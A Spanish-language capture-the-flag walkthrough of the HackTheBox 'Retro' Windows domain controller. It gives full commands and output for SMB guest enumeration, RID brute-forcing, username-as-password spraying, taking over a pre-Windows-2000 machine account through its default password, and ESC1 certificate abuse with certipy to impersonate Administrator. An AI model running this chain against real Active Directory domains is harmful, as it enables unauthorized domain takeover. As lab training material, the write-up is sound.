Maquina Retro
- OS: Windows
- Plataforma: HackTheBox
- Nivel: Easy
- Tags: #esc1 #certipy #bloodhound #rusthound #rid-brute #PRE-WINDOWS-2000-COMAPTIBLE-ACCESS
Reconocimiento¶
Comienzo con un ping para comprobar la conectividad.
┌──(wndr㉿wndr)-[~/Machines/hackthebox/retro]
└─$ ping -c 1 10.129.234.44
PING 10.129.234.44 (10.129.234.44) 56(84) bytes of data.
64 bytes from 10.129.234.44: icmp_seq=1 ttl=127 time=85.8 ms
--- 10.129.234.44 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 85.828/85.828/85.828/0.000 ms
Tiro un escaneo con nmap para ver que puertos tenemos abiertos.
┌──(wndr㉿wndr)-[~/Machines/hackthebox/retro]
└─$ sudo nmap 10.129.234.44 -p- -Pn -n -sS --min-rate 5000 -vvv -oG nmap/target
Not shown: 65514 filtered tcp ports (no-response)
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
3389/tcp open ms-wbt-server syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49669/tcp open unknown syn-ack ttl 127
49670/tcp open unknown syn-ack ttl 127
51466/tcp open unknown syn-ack ttl 127
51479/tcp open unknown syn-ack ttl 127
53647/tcp open unknown syn-ack ttl 127
53655/tcp open unknown syn-ack ttl 127
Sobre los puertos abiertos tiro un segundo escaneo mas profundo para detectar servicios, versiones y correr un conjunto de scripts de reconocimiento.
┌──(wndr㉿wndr)-[~/Machines/hackthebox/retro]
└─$ sudo nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,9389,49664,49667,49669,49670,51466,51479,53647,53655 -sV -sC -Pn -n -sS -vvv 10.129.234.44 -oN nmap/target
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-02-07 00:27:31Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: retro.vl0., Site: Default-First-Site-Name)
|_ssl-date: 2026-02-07T00:29:02+00:00; +11s from scanner time.
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.retro.vl
| Issuer: commonName=retro-DC-CA/domainComponent=retro
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-10-02T10:33:09
| Not valid after: 2025-10-02T10:33:09
| MD5: 0570:85e4:2e0b:442c:16c0:d258:3acb:1019
| SHA-1: 0b6c:b037:2581:5555:b186:8ca2:35e7:21db:2c8d:56d6
| -----BEGIN CERTIFICATE-----
| MIIHDjCCBPagAwIBAgITJgAAAAfu81FFx2Gm5gAAAAAABzANBgkqhkiG9w0BAQsF
| ADBBMRIwEAYKCZImiZPyLGQBGRYCdmwxFTATBgoJkiaJk/IsZAEZFgVyZXRybzEU
| MBIGA1UEAxMLcmV0cm8tREMtQ0EwHhcNMjQxMDAyMTAzMzA5WhcNMjUxMDAyMTAz
| MzA5WjAWMRQwEgYDVQQDEwtEQy5yZXRyby52bDCCASIwDQYJKoZIhvcNAQEBBQAD
| ggEPADCCAQoCggEBAKQgOozob26wVFG9KB4eARJjNsNP1XseWS0yc6P1Ukd/oWY7
| <MAS..>
|_-----END CERTIFICATE-----
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: retro.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.retro.vl
| Issuer: commonName=retro-DC-CA/domainComponent=retro
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-10-02T10:33:09
| Not valid after: 2025-10-02T10:33:09
| MD5: 0570:85e4:2e0b:442c:16c0:d258:3acb:1019
| SHA-1: 0b6c:b037:2581:5555:b186:8ca2:35e7:21db:2c8d:56d6
| -----BEGIN CERTIFICATE-----
| MIIHDjCCBPagAwIBAgITJgAAAAfu81FFx2Gm5gAAAAAABzANBgkqhkiG9w0BAQsF
| ADBBMRIwEAYKCZImiZPyLGQBGRYCdmwxFTATBgoJkiaJk/IsZAEZFgVyZXRybzEU
| MBIGA1UEAxMLcmV0cm8tREMtQ0EwHhcNMjQxMDAyMTAzMzA5WhcNMjUxMDAyMTAz
| MzA5WjAWMRQwEgYDVQQDEwtEQy5yZXRyby52bDCCASIwDQYJKoZIhvcNAQEBBQAD
| ggEPADCCAQoCggEBAKQgOozob26wVFG9KB4eARJjNsNP1XseWS0yc6P1Ukd/oWY7
| <MAS..>
|_ssl-date: 2026-02-07T00:29:02+00:00; +11s from scanner time.
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: retro.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.retro.vl
| Issuer: commonName=retro-DC-CA/domainComponent=retro
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-10-02T10:33:09
| Not valid after: 2025-10-02T10:33:09
| MD5: 0570:85e4:2e0b:442c:16c0:d258:3acb:1019
| SHA-1: 0b6c:b037:2581:5555:b186:8ca2:35e7:21db:2c8d:56d6
| -----BEGIN CERTIFICATE-----
| MIIHDjCCBPagAwIBAgITJgAAAAfu81FFx2Gm5gAAAAAABzANBgkqhkiG9w0BAQsF
| ADBBMRIwEAYKCZImiZPyLGQBGRYCdmwxFTATBgoJkiaJk/IsZAEZFgVyZXRybzEU
| MBIGA1UEAxMLcmV0cm8tREMtQ0EwHhcNMjQxMDAyMTAzMzA5WhcNMjUxMDAyMTAz
| MzA5WjAWMRQwEgYDVQQDEwtEQy5yZXRyby52bDCCASIwDQYJKoZIhvcNAQEBBQAD
| ggEPADCCAQoCggEBAKQgOozob26wVFG9KB4eARJjNsNP1XseWS0yc6P1Ukd/oWY7
| rAaiie6nocDLzf733wGlHm51lSLASLn+PyvnWF74oAVUp8e8ifWM4P9gu9dgTyB3
| OV9B0VpWNgiG2xzj4mcFaQchRie/BTqQnLcu+E6oyjY/tXe1JYl+oqR5fcc2Sl0q
| kko2zgT5MDQdiL1wmXthsJnPs60qtNyh1B5BrH0AcIyZdA/Fy+2mu2IEjPy/Blk6
| p5JOqxdi2UI8d4dzqkiMYz/TRJnHOU7dc960TfQy31m07jfFEftHlgG5qAR508R9
| cjjWPLQQhb7AGMQygxuqSY86YtWVtiPxb/36/cECAwEAAaOCAygwggMkMC8GCSsG
| AQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcjAdBgNV
| HSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQDAgWgMHgGCSqG
| <MAS..>
|_ssl-date: 2026-02-07T00:29:02+00:00; +11s from scanner time.
3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: retro.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.retro.vl
| Issuer: commonName=retro-DC-CA/domainComponent=retro
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-10-02T10:33:09
| Not valid after: 2025-10-02T10:33:09
| MD5: 0570:85e4:2e0b:442c:16c0:d258:3acb:1019
| SHA-1: 0b6c:b037:2581:5555:b186:8ca2:35e7:21db:2c8d:56d6
| -----BEGIN CERTIFICATE-----
| MIIHDjCCBPagAwIBAgITJgAAAAfu81FFx2Gm5gAAAAAABzANBgkqhkiG9w0BAQsF
| ADBBMRIwEAYKCZImiZPyLGQBGRYCdmwxFTATBgoJkiaJk/IsZAEZFgVyZXRybzEU
| MBIGA1UEAxMLcmV0cm8tREMtQ0EwHhcNMjQxMDAyMTAzMzA5WhcNMjUxMDAyMTAz
| MzA5WjAWMRQwEgYDVQQDEwtEQy5yZXRyby52bDCCASIwDQYJKoZIhvcNAQEBBQAD
| ggEPADCCAQoCggEBAKQgOozob26wVFG9KB4eARJjNsNP1XseWS0yc6P1Ukd/oWY7
| <MAS..>
|_ssl-date: 2026-02-07T00:29:02+00:00; +11s from scanner time.
3389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
|_ssl-date: 2026-02-07T00:29:02+00:00; +11s from scanner time.
| rdp-ntlm-info:
| Target_Name: RETRO
| NetBIOS_Domain_Name: RETRO
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: retro.vl
| DNS_Computer_Name: DC.retro.vl
| Product_Version: 10.0.20348
|_ System_Time: 2026-02-07T00:28:23+00:00
| ssl-cert: Subject: commonName=DC.retro.vl
| Issuer: commonName=DC.retro.vl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-02-06T00:22:40
| Not valid after: 2026-08-08T00:22:40
| MD5: 0734:ebb1:ae78:d0ad:4ae9:8441:71f1:6552
| SHA-1: f292:6c13:d18a:8e66:5907:29db:a435:3e50:a86e:6be6
| -----BEGIN CERTIFICATE-----
| MIIC2jCCAcKgAwIBAgIQKVrAFZTS15FEWrdPnzPXDzANBgkqhkiG9w0BAQsFADAW
| MRQwEgYDVQQDEwtEQy5yZXRyby52bDAeFw0yNjAyMDYwMDIyNDBaFw0yNjA4MDgw
| <MAS.>
|_-----END CERTIFICATE-----
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49669/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
51466/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
51479/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
53647/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
53655/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 36202/tcp): CLEAN (Timeout)
| Check 2 (port 37918/tcp): CLEAN (Timeout)
| Check 3 (port 52836/udp): CLEAN (Timeout)
| Check 4 (port 4433/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 10s, deviation: 0s, median: 10s
| smb2-time:
| date: 2026-02-07T00:28:23
|_ start_date: N/A
Por la información que tengo puedo intuir que estoy contra un DC.
- Puerto 88 Kerberos
- Puerto 135 RPC
- Puerto 139, 445 SMB
- Puerto 389, 636 LDAP
- Puerto 3389 RDP
Enumeración¶
Puerto 445 SMB.¶
Saque información general de la maquina:
┌──(wndr㉿wndr)-[~/Machines/hackthebox/retro]
└─$ nxc smb 10.129.234.44
SMB 10.129.234.44 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:retro.vl) (signing:True) (SMBv1:False)
- Dominio retro.vl y nombre DC.
Puedo enumerar los shares como guest:
┌──(wndr㉿wndr)-[~/Machines/hackthebox/retro]
└─$ nxc smb retro.vl -u 'guest' -p '' --shares
SMB 10.129.234.44 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:retro.vl) (signing:True) (SMBv1:False)
SMB 10.129.234.44 445 DC [+] retro.vl\guest:
SMB 10.129.234.44 445 DC [*] Enumerated shares
SMB 10.129.234.44 445 DC Share Permissions Remark
SMB 10.129.234.44 445 DC ----- ----------- ------
SMB 10.129.234.44 445 DC ADMIN$ Remote Admin
SMB 10.129.234.44 445 DC C$ Default share
SMB 10.129.234.44 445 DC IPC$ READ Remote IPC
SMB 10.129.234.44 445 DC NETLOGON Logon server share
SMB 10.129.234.44 445 DC Notes
SMB 10.129.234.44 445 DC SYSVOL Logon server share
SMB 10.129.234.44 445 DC Trainees READ
- Tengo permisos de lectura sobre el share Trainees
Al conectarme al recurso solo encontré una nota:
┌──(wndr㉿wndr)-[~/Machines/hackthebox/retro]
└─$ smbclient //10.129.234.44/Trainees -U 'guest'
Password for [WORKGROUP\guest]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun Jul 23 21:58:43 2023
.. DHS 0 Wed Jun 11 14:17:10 2025
Important.txt A 288 Sun Jul 23 22:00:13 2023
4659711 blocks of size 4096. 1308253 blocks available
smb: \> get Important.txt
getting file \Important.txt of size 288 as Important.txt (0.6 KiloBytes/sec) (average 0.6 KiloBytes/sec)
smb: \>
La nota decía que habían juntado todas las cuentas de los "Trainee" en una sola.
┌──(wndr㉿wndr)-[~/Machines/hackthebox/retro]
└─$ cat Important.txt
Dear Trainees,
I know that some of you seemed to struggle with remembering strong and unique passwords.
So we decided to bundle every one of you up into one account.
Stop bothering us. Please. We have other stuff to do than resetting your password every day.
Regards
The Admins
Al enumerar usuarios vía rid bruteforce me encontré con los siguientes:
┌──(wndr㉿wndr)-[~/Machines/hackthebox/retro]
└─$ nxc smb retro.vl -u 'guest' -p '' --rid-brute | grep "SidTypeUser"
SMB 10.129.234.44 445 DC 500: RETRO\Administrator (SidTypeUser)
SMB 10.129.234.44 445 DC 501: RETRO\Guest (SidTypeUser)
SMB 10.129.234.44 445 DC 502: RETRO\krbtgt (SidTypeUser)
SMB 10.129.234.44 445 DC 1000: RETRO\DC$ (SidTypeUser)
SMB 10.129.234.44 445 DC 1104: RETRO\trainee (SidTypeUser)
SMB 10.129.234.44 445 DC 1106: RETRO\BANKING$ (SidTypeUser)
SMB 10.129.234.44 445 DC 1107: RETRO\jburley (SidTypeUser)
SMB 10.129.234.44 445 DC 1109: RETRO\tblack (SidTypeUser)
- La cuenta trainee es la cuenta de la que hablaban en la nota.
Acceso Inicial¶
Puedo probar los usuarios como usuario / contraseña.
┌──(wndr㉿wndr)-[~/Machines/hackthebox/retro]
└─$ nxc smb retro.vl -u users.txt -p users.txt --no-bruteforce --continue-on-success
SMB 10.129.234.44 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:retro.vl) (signing:True) (SMBv1:False)
SMB 10.129.234.44 445 DC [-] retro.vl\Administrator:Administrator STATUS_LOGON_FAILURE
SMB 10.129.234.44 445 DC [-] retro.vl\Guest:Guest STATUS_LOGON_FAILURE
SMB 10.129.234.44 445 DC [-] retro.vl\krbtgt:krbtgt STATUS_LOGON_FAILURE
SMB 10.129.234.44 445 DC [-] retro.vl\DC$:DC$ STATUS_LOGON_FAILURE
SMB 10.129.234.44 445 DC [+] retro.vl\trainee:trainee
SMB 10.129.234.44 445 DC [-] retro.vl\BANKING$:BANKING$ STATUS_LOGON_FAILURE
SMB 10.129.234.44 445 DC [-] retro.vl\jburley:jburley STATUS_LOGON_FAILURE
SMB 10.129.234.44 445 DC [-] retro.vl\tblack:tblack STATUS_LOGON_FAILURE
- El [+] en trainee indica que la cuenta es valida.
Ahora que tengo credenciales puedo volver a enumerar los shares a los que tengo acceso:
┌──(wndr㉿wndr)-[~/Machines/hackthebox/retro]
└─$ nxc smb retro.vl -u trainee -p trainee --shares
SMB 10.129.234.44 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:retro.vl) (signing:True) (SMBv1:False)
SMB 10.129.234.44 445 DC [+] retro.vl\trainee:trainee
SMB 10.129.234.44 445 DC [*] Enumerated shares
SMB 10.129.234.44 445 DC Share Permissions Remark
SMB 10.129.234.44 445 DC ADMIN$ Remote Admin
SMB 10.129.234.44 445 DC C$ Default share
SMB 10.129.234.44 445 DC IPC$ READ Remote IPC
SMB 10.129.234.44 445 DC NETLOGON READ Logon server share
SMB 10.129.234.44 445 DC Notes READ
SMB 10.129.234.44 445 DC SYSVOL READ Logon server share
SMB 10.129.234.44 445 DC Trainees READ
- Tengo acceso de lectura a un nuevo recurso llamado Notes.
Al conectarme al recurso me encontré con 2 archivos, uno llamado user.txt y otro ToDo.txt.
┌──(wndr㉿wndr)-[~/Machines/hackthebox/retro]
└─$ smbclient //10.129.234.44/Notes -U 'trainee%trainee'
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Apr 9 03:12:49 2025
.. DHS 0 Wed Jun 11 14:17:10 2025
ToDo.txt A 248 Sun Jul 23 22:05:56 2023
user.txt A 32 Wed Apr 9 03:13:01 2025
4659711 blocks of size 4096. 1325582 blocks available
smb: \> get ToDo.txt
getting file \ToDo.txt of size 248 as ToDo.txt (0.5 KiloBytes/sec) (average 0.5 KiloBytes/sec)
smb: \> get user.txt
getting file \user.txt of size 32 as user.txt (0.1 KiloBytes/sec) (average 0.3 KiloBytes/sec)
user.txt es la flag y ToDo.txt menciona una cuenta maquina bastante vieja:
┌──(wndr㉿wndr)-[~/Machines/hackthebox/retro/content]
└─$ \cat ToDo.txt
Thomas,
after convincing the finance department to get rid of their ancienct banking software
it is finally time to clean up the mess they made. We should start with the pre created
computer account. That one is older than me.
Best
James
┌──(wndr㉿wndr)-[~/Machines/hackthebox/retro/content]
└─$ \cat user.txt
cbda362cff2099072c5e96c51712ff33
Otra cosa que tengo que puedo hacer ahora que tengo credenciales es utilizar bloodhound.
- BloodHound es una herramienta de enumeración y análisis de Active Directory que usa grafos para identificar relaciones de confianza, permisos y rutas de escalada de privilegios entre usuarios, grupos y equipos dentro de un dominio.
Primero tenemos que utilizar un Ingestor para recopilar la info del domino, en mi caso utilice rusthound-ce.
┌──(wndr㉿wndr)-[~/Tools/RustHound-CE]
└─$ ./rusthound-ce -d retro.vl -u trainee@retro.vl -z
---------------------------------------------------
Initializing RustHound-CE at 00:49:51 on 02/07/26
Powered by @g0h4n_0
---------------------------------------------------
[2026-02-07T00:49:51Z INFO rusthound_ce] Verbosity level: Info
[2026-02-07T00:49:51Z INFO rusthound_ce] Collection method: All
Password:
[2026-02-07T00:49:53Z INFO rusthound_ce::ldap] Connected to RETRO.VL Active Directory!
[2026-02-07T00:49:53Z INFO rusthound_ce::ldap] Starting data collection...
[2026-02-07T00:49:53Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-02-07T00:49:55Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=retro,DC=vl
[2026-02-07T00:49:55Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-02-07T00:49:56Z INFO rusthound_ce::ldap] All data collected for NamingContext CN=Configuration,DC=retro,DC=vl
[2026-02-07T00:49:56Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-02-07T00:49:57Z INFO rusthound_ce::ldap] All data collected for NamingContext CN=Schema,CN=Configuration,DC=retro,DC=vl
[2026-02-07T00:49:57Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-02-07T00:49:57Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=DomainDnsZones,DC=retro,DC=vl
[2026-02-07T00:49:57Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-02-07T00:49:57Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=ForestDnsZones,DC=retro,DC=vl
[2026-02-07T00:49:57Z INFO rusthound_ce::api] Starting the LDAP objects parsing...
⢀ Parsing LDAP objects: 5% [2026-02-07T00:49:58Z INFO rusthound_ce::objects::enterpriseca] Found 12 enabled certificate templates
[2026-02-07T00:49:58Z INFO rusthound_ce::api] Parsing LDAP objects finished!
[2026-02-07T00:49:58Z INFO rusthound_ce::json::checker] Starting checker to replace some values...
[2026-02-07T00:49:58Z INFO rusthound_ce::json::checker] Checking and replacing some values finished!
[2026-02-07T00:49:58Z INFO rusthound_ce::json::maker::common] 7 users parsed!
[2026-02-07T00:49:58Z INFO rusthound_ce::json::maker::common] 61 groups parsed!
[2026-02-07T00:49:58Z INFO rusthound_ce::json::maker::common] 2 computers parsed!
[2026-02-07T00:49:58Z INFO rusthound_ce::json::maker::common] 1 ous parsed!
[2026-02-07T00:49:58Z INFO rusthound_ce::json::maker::common] 1 domains parsed!
[2026-02-07T00:49:58Z INFO rusthound_ce::json::maker::common] 2 gpos parsed!
[2026-02-07T00:49:58Z INFO rusthound_ce::json::maker::common] 74 containers parsed!
[2026-02-07T00:49:58Z INFO rusthound_ce::json::maker::common] 1 ntauthstores parsed!
[2026-02-07T00:49:58Z INFO rusthound_ce::json::maker::common] 1 aiacas parsed!
[2026-02-07T00:49:58Z INFO rusthound_ce::json::maker::common] 1 rootcas parsed!
[2026-02-07T00:49:58Z INFO rusthound_ce::json::maker::common] 1 enterprisecas parsed!
[2026-02-07T00:49:58Z INFO rusthound_ce::json::maker::common] 34 certtemplates parsed!
[2026-02-07T00:49:58Z INFO rusthound_ce::json::maker::common] 3 issuancepolicies parsed!
[2026-02-07T00:49:58Z INFO rusthound_ce::json::maker::common] .//20260207004958_retro-vl_rusthound-ce.zip created!
Escalada de Privilegios.¶
Antes de pasar a bloodhound puedo utilizar certipy para ver posibles certificados vulnerables:
┌──(wndr㉿wndr)-[~/Machines/hackthebox/retro]
└─$ certipy find -u trainee@retro.vl -p trainee -dc-ip 10.129.234.44 -stdout -vulnerable
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 15 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'retro-DC-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'retro-DC-CA'
[*] Checking web enrollment for CA 'retro-DC-CA' @ 'DC.retro.vl'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
0
CA Name : retro-DC-CA
DNS Name : DC.retro.vl
Certificate Subject : CN=retro-DC-CA, DC=retro, DC=vl
Certificate Serial Number : 7A107F4C115097984B35539AA62E5C85
Certificate Validity Start : 2023-07-23 21:03:51+00:00
Certificate Validity End : 2028-07-23 21:13:50+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : RETRO.VL\Administrators
Access Rights
ManageCa : RETRO.VL\Administrators
RETRO.VL\Domain Admins
RETRO.VL\Enterprise Admins
ManageCertificates : RETRO.VL\Administrators
RETRO.VL\Domain Admins
RETRO.VL\Enterprise Admins
Enroll : RETRO.VL\Authenticated Users
Certificate Templates
0
Template Name : RetroClients
Display Name : Retro Clients
Certificate Authorities : retro-DC-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Extended Key Usage : Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 4096
Template Created : 2023-07-23T21:17:47+00:00
Template Last Modified : 2023-07-23T21:18:39+00:00
Permissions
Enrollment Permissions
Enrollment Rights : RETRO.VL\Domain Admins
RETRO.VL\Domain Computers
RETRO.VL\Enterprise Admins
Object Control Permissions
Owner : RETRO.VL\Administrator
Full Control Principals : RETRO.VL\Domain Admins
RETRO.VL\Enterprise Admins
Write Owner Principals : RETRO.VL\Domain Admins
RETRO.VL\Enterprise Admins
Write Dacl Principals : RETRO.VL\Domain Admins
RETRO.VL\Enterprise Admins
Write Property Enroll : RETRO.VL\Domain Admins
RETRO.VL\Domain Computers
RETRO.VL\Enterprise Admins
[+] User Enrollable Principals : RETRO.VL\Domain Computers
[!] Vulnerabilities
ESC1 : Enrollee supplies subject and template allows client authentication.
- El certificado RetroClients es vulnerable a ESC1.
El problema es que solo las cuentas maquinas pueden solicitar el certificado vulnerable por lo cual necesito tener acceso a alguna cuenta.
Con netexec y el modulo maq puedo ver si puedo agregar alguna cuenta maquina al dominio:
┌──(wndr㉿wndr)-[~/Machines/hackthebox/retro]
└─$ nxc ldap retro.vl -u trainee -p trainee -M maq
LDAP 10.129.234.44 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:retro.vl)
LDAP 10.129.234.44 389 DC [+] retro.vl\trainee:trainee
MAQ 10.129.234.44 389 DC [*] Getting the MachineAccountQuota
MAQ 10.129.234.44 389 DC MachineAccountQuota: 0
- MachineAccountQuota en 0 me indica que no puedo agregar ninguna cuenta maquina.
Podemos devolvernos a la nota ToDo.txt que nos indicaba que existía una maquina muy vieja, esta cuenta la podemos visualizar desde bloodhound y ver que pertenece al grupo PRE-WINDOWS 2000 COMAPTIBLE ACCESS.
Las cuentas con PRE-WINDOWS 2000 COMPATIBLEE ACCESS, suelen tener su nombre de usuario en minúsculas como contraseña, esto lo podemos comprobar con netxec:
┌──(wndr㉿wndr)-[~/Machines/hackthebox/retro/content]
└─$ nxc smb retro.vl -u BANKING$ -p banking
SMB 10.129.234.44 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:retro.vl) (signing:True) (SMBv1:False)
SMB 10.129.234.44 445 DC [-] retro.vl\BANKING$:banking STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT
- STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT indica que la contraseña es valida pero que necesitamos cambiarla para poder usar la cuenta
Con impacket-changepasswd voy a cambiar la contraseña:
┌──(wndr㉿wndr)-[~/Machines/hackthebox/retro/content]
└─$ impacket-changepasswd -newpass w0nder11ng 'retro.vl/BANKING$:banking@dc.retro.vl' -protocol rpc-samr
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Changing the password of retro.vl\BANKING$
[*] Connecting to DCE/RPC as retro.vl\BANKING$
[*] Password was changed successfully.
Ahora puedo probar las nuevas credenciales:
┌──(wndr㉿wndr)-[~/Machines/hackthebox/retro/content]
└─$ nxc smb retro.vl -u BANKING$ -p w0nder11ng
SMB 10.129.234.44 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:retro.vl) (signing:True) (SMBv1:False)
SMB 10.129.234.44 445 DC [+] retro.vl\BANKING$:w0nder11ng
- El [+] indica que las credenciales son validas y ahora puedo solicitar el certificado vulnerable a ESC1.
CertipyPrivEscWiki define ESC1 como lo siguiente:
Quote
ESC1 is the stereotypical AD CS misconfiguration that can lead directly to privilege escalation. The vulnerability arises when a certificate template is inadequately secured, permitting a low-privileged user to request a certificate and, importantly, specify an arbitrary identity within the certificate's SAN. This allows the attacker to impersonate any user, including administrators.
Básicamente ESC1 me permite suplantar usuarios indicándolo en el SAN del certificado vulnerable.
Primero tengo que sacar el SID del usuario administrator:
┌──(wndr㉿wndr)-[~/Machines/hackthebox/retro/content]
└─$ bloodyAD --host dc.retro.vl -d retro.vl -u trainee -p trainee get object administrator
objectSid: S-1-5-21-2983547755-698260136-4283918172-500
Lo siguiente consiste en solicitar el certificado vulnerable para suplantar al usuario administrador:
┌──(wndr㉿wndr)-[~/Machines/hackthebox/retro/content]
└─$ certipy req \
-u 'BANKING$@retro.vl' -p 'w0nder11ng' \
-ca 'retro-DC-CA' -template 'RetroClients' \
-upn 'administrator@retro.vl' -sid 'S-1-5-21-2983547755-698260136-4283918172-500' -key-size 4096
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The DNS query name does not exist: RETRO.VL.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[*] Request ID is 19
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@retro.vl'
[*] Certificate object SID is 'S-1-5-21-2983547755-698260136-4283918172-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
Con el certificado ya puedo autenticarme para obtener un TGT y el hash NTLM del usuario administrador:
┌──(wndr㉿wndr)-[~/Machines/hackthebox/retro]
└─$ certipy auth -pfx administrator.pfx -dc-ip 10.129.234.44
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator@retro.vl'
[*] SAN URL SID: 'S-1-5-21-2983547755-698260136-4283918172-500'
[*] Security Extension SID: 'S-1-5-21-2983547755-698260136-4283918172-500'
[*] Using principal: 'administrator@retro.vl'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
